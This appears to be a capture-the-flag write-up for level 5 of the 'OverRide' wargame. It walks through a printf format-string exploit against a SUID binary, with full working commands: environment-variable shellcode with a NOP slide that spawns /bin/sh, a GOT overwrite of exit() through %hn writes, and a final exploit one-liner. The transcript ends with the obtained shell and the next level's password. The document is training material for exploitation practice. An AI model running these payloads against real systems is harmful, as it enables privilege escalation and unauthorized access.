Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

README.md

Level 5

Vulnerability

Shellcode in environment variable + printf() format string attack

Context

We find a binary with owner level06 and SUID.

level05@OverRide:~$ ls -l
-rwsr-s---+ 1 level06 users 5176 Sep 10  2016 level05

The program takes input from the stdin, and prints the output in lowercase.

level05@OverRide:~$ ./level05
HELLO
hello

Solution

main() overview

Let's take a deeper look at the program. See dissasembly notes for detailed gdb assembly breakdown.

This program is a basic tolower(), which is of little interest to us.
However we do see a call to printf(), which is vulnerable to string format exploits.
We also see a call to exit().

Exploit

Unfortunately, we see the stack is non-executable. We can overflow the buffer, but we can't overwrite the EIP with an address (like system("/bin/sh")) in the stack because it won't execute.

level05@OverRide:~$ dmesg | grep "Execute Disable"
[    0.000000] NX (Execute Disable) protection: active

Instead, we will:

  • use a shellcode stored in an environmental variable
  • to run a string format attack to overwrite exit()

Store shellcode in Env variable

We will use this compact system call opening a shell.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80

We will prefix the shellcode with a 100 byte NOP slide, and then store it all in an environment variable.

level05@OverRide:~$ export SHELLCODE=`python -c 'print("\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80")'`

Let's find the address of our malicious shellcode / environment variable.

(gdb) break *main+4
Breakpoint 1 at 0x8048448
(gdb) r
[...]
(gdb) x/200s environ
0xffffd806:	 "/home/users/level05/level05"
0xffffd822:	 "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300Ph//shh/bin\211\343PS\211\341\260\v̀"
0xffffd8a8:	 "SHELL=/bin/bash"

Our malicious shellcode is at 0xffffd822.
Note: we want to move past the first 10 bytes "SHELLCODE=" and into your NOP slide... so let's make the address of our shellcode 0xffffd822 + 16 bytes -> 0xffffd832.

Unfortunately, 0xffffd832 is too large to pass to printf() in decimal with a %d format (it overflows maxint).

2147483647 <- maximum size of int
4294957106 <- address of shellcode (in decimal)

We can, however, pass it in decimal as 2 short ints (written on 2 bytes each).
Note: reverse order for little endian!

0xffffd832
0xd832 -> 55346
0xffff -> 65535

Find address of exit()

Next, find the address of exit(). The GOT address of exit() is 0x080497e0.

level05@OverRide:~$ gdb -q level05
(gdb) info function exit
[...]
0x08048370  exit
0x08048370  exit@plt
(gdb) x/i 0x08048370
   0x8048370 <exit@plt>:	jmp    *0x80497e0

We will also have to split the address of exit() in two, to accomodate our hefty 2-part shellcode address.

Finally, let's check our buffer position for the printf() string format exploit.
We can see our buffer "AAAA" in the 10th position on the stack as 61616161.

level05@OverRide:~$ python -c 'print "AAAA"+" %x"*12' | ./level05
aaaa 64 f7fcfac0 f7ec3af9 ffffd69f ffffd69e 0 ffffffff ffffd724 f7fdb000 61616161 20782520 25207825

Build exploit

Looks good... Let's sum it all up!
Our attack takes place in 2 steps:

  • malicious environment variable
"NOP slide [100 bytes] + call to open a shell"
  • format string attack
    • exit GOT address, split into two [4 byte] parts
    • shellcode address in decimal, split into two [4 byte] parts
      • 55346 - 8 bytes (of characters already written) -> 55338
      • 65535 - 55346 bytes (of characters already written) -> 10189
    • printf() formatting arguments:
      • %10$hn for 10th argument, half word/short int [2 bytes]
      • %11$hn for 11th argument, half word/short int [2 bytes]
"exit GOT address [2 first bytes] + exit GOT address [2 last bytes] + shellcode addr [2 bytes] + '%10$hn' + shellcode addr [2 bytes] + '%11$hn'"

(python -c 'print("\xe0\x97\x04\x08" + "\xe2\x97\x04\x08" + "%55338d%10$hn" + "%10189d%11$hn")'; cat) | ./level05

Let's try it.

level05@OverRide:~$ (python -c 'print("\xe0\x97\x04\x08" + "\xe2\x97\x04\x08" + "%55338d%10$hn" + "%10189d%11$hn")'; cat) | ./level05

[...]
whoami
level06
cat /home/users/level06/.pass
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq